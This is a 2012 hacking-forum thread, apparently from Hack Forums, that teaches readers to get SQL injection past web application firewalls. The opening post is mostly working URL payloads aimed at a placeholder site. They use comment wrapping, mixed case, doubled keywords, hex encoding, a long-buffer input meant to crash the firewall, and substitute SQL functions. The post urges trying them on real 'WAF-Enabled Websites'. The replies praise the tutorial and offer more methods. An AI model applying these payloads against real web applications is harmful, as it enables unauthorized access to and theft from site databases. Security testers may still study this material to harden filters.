[TUT] Advanced WAF Bypassing Methods (Basic Methods included,too!)

[TUT] Advanced WAF Bypassing Methods (Basic Methods included,too!) - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [TUT] Advanced WAF Bypassing Methods (Basic Methods included,too!) (/showthread.php?tid=2651707)

Pages: Pages 1 2 3

[TUT] Advanced WAF Bypassing Methods (Basic Methods included,too!) - akatzbreaker - Jul 6, 2012

Hi HF Members!

Today I am going to show you how to bypass Web Application Firewalls (WAF). I will demonstrate from the Simpliest and most Beginner Methods to the Most Advanced ones!

Please Note: I will not Demonstrate SQL Injection! So, If you don't know SQL Injection, read a Tutorial on How to SQL Inject (There are many on these Forums!) and then read this Thread...

Let's Begin!

How to know if there is a Web Application Firewall?

This is pretty simple! When you try to enter a command used for SQL Injections (usually the "UNION SELECT" command), you get an 403 Error (and the website says "Forbidden" or "Not Acceptable").
Example:

Code 
http://www.site.com/index.php?page_id=-15 UNION SELECT 1,2,3,4....

(We get a 403 Error!)

Basic/Simple Methods:

First, of course, we need to know the Basic Methods to bypass WAF...

1) Comments:
You can use comments to bypass WAF:

Code 
http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4....

(First Method that can Bypass WAF)

However, most WAF identify this method so they still show a "Forbidden" Error...

2) Change the Case of the Letters:
You can also change the Case of the Command:

Code 
http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4....

(Another Basic Method to Bypass WAF!)

However, as before, this trick is also detected by most WAF!

3) Combine the previous Methods:
What you can also do is to combine the previous two methods:

Code 
http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4....

This method is not detectable by many Web Application Firewalls!

4) Replaced Keywords:
Some Firewalls remove the "UNION SELECT" Statement when it is found in the URL... We can do this to exploit this function:

Code 
http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4....

(The "union" and the "select" will be removed, so the final result will be: "UNION SELECT" :-D )

This method doesn't work on ALL Firewalls, as only some of them remove the "UNION" and the "SELECT" commands when they are detected!

5) Inline Comments (Thanks to Crysan):
Some firewalls get bypassed by Inserting Inline Comments between the "Union" and the "Select" Commands:

Code 
http://www.site.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4...

(The %55 is equal to "U" and %53 to "S". See more on the Advanced Section....)

I believe that these are the most basic Methods to WAF Bypassing! Let's move on more advanced ones...

Advanced Methods:

Now that you have learned about Basic WAF Bypassing, I think it is good to understand more advanced Methods!

1) Buffer Overflow / Firewall Crash:
Many Firewalls are developed in C/C++ and we can Crash them using Buffer Overflow!

Code 
http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4....

(( You can test if the WAF can be crashed by typing:

?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4....

If you get a 500, you can exploit it using the Buffer Overflow Method! :: Thanks Crysan for the Test))

2) Replace Characters with their HEX Values (Thanks to Crysan!):
We can replace some characters with their HEX (URL-Encoded) Values.
Example:

Code 
http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4....

(which means "union select")

Text to Hex Encoder (Choose the "Hex Encoded for URL" result!): http://www.swingnote.com/tools/texttohex.php

3) Use other Variables or Commands instead of the common ones for SQLi:
Apart from the "UNION SELECT" other commands might be blocked.
Common Commands Blocked:

Code 
COMMAND  |  WHAT TO USE INSTEAD

@@version  |  version()

concat()   |  concat_ws()  --> Difference between concat() and concat_ws(): http://is.gd/VEeiDU  

group_concat() | concat_ws()

[!]-> You can also try to SQL Inject with the NAME_CONST Method: http://is.gd/o10i0d (Created by Downfall)

Learning MySQL Really helps on such issues! ;-)

4) Misc Exploitable Functions:
Many firewalls try to offer more Protection by adding Prototype or Strange Functions! (Which, of course, we can exploit!):
Example:
The firewall below replaces "*" (asterisks) with Whitespaces! What we can do is this:

Code 
http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4...

(If the Firewall removes the "*", the result will be: 15+union+select....)

So, if you find such a silly function, you can exploit it, in this way! :-D

[+] In addition to the previous example, some other bypasses might be:

Code 
-15+(uNioN)+(sElECt)....

-15+(uNioN+SeleCT)+...

-15+(UnI)(oN)+(SeL)(ecT)+....

-15+union (select 1,2,3,4...)

Video Tutorial on WAF Bypassing:

(The video IS NOT Made by Me!)

Now What?
You can now test your new skills here: https://hackforums.net/showthread.php?tid=1531462 (Created by kobez)
(There are many WAF-Enabled Websites out there, too!)

= + = + = + = + = + = + = + = + = + = + = + = + = + = + = + = +

If you know any other methods on how to Bypass WAF, Post them here! :-D

!!! It took me 2 hours to write this thread and style it! Please Leave a Reply! (It takes only 10 seconds!) !!!

* - AnGrY Bo - Jul 6, 2012

Very detailed tutorial bro keep it up
Good job

* - akatzbreaker - Jul 6, 2012

(Jul 6, 2012 02:03 AM)Angry Bo Wrote: Very detailed tutorial bro keep it up
Good job

Thanks Angry Bo! I really Appreciate it!

* - spectrum10 - Jul 6, 2012

Nice tut bro, good to see you contributing to the community, keep it up :}

* - akatzbreaker - Jul 6, 2012

(Jul 6, 2012 02:18 AM)spectrum10 Wrote: Nice tut bro, good to see you contributing to the community, keep it up :}

Thanks a lot spectrum10! It is really encouraging!

* - VisuallyDesigned - Jul 6, 2012

great, was looking for something like this for a while thanks :D

* - maxitis - Jul 6, 2012

here is also a good resource:
http://www.exploit-db.com/papers/17934/

* - akatzbreaker - Jul 6, 2012

Thanks for the support VisuallyDesigned!

Thanks for the Link maxitis!!

* - Crysan - Jul 6, 2012

I know few more methods you might want to add ?.
Just pm me for it, I will response in the next 2 minutes. (eating :P)

* - akatzbreaker - Jul 6, 2012

Thanks Crysan! I just PMed you! :-D

(xaxa! I like your Signature! xD )

I added more methods! One to the Basic and one to the Advanced Section!
Also, I styled it a bit more!

Thanks Crysan for the additional Techniques! :-)

I added one more function at the Advanced Section! (The 3rd one!) ;-)

* - MasterMind555 - Jul 6, 2012

Thanks, very useful! Very high quality post

* - Prominent - Jul 6, 2012

Not bad for a tutorial, though it could use some formatting.

* - dawnofwar - Jul 6, 2012

Epic thread bro! Most WAF Bypassing threads are the usual, well known methods. Saw a lot of new methods in this thread, definitely rep worthy.

Thanks for the tut homie.

* - akatzbreaker - Jul 6, 2012

Thanks guys! It is really encouraging to see people interested in such Topics!! Thanx!

* - almb1111 - Jul 6, 2012

Very nice thread bro ! I appreciate all your work on making it :D

Edit : You can also add the Union Distinct Select method, it helps me a lot.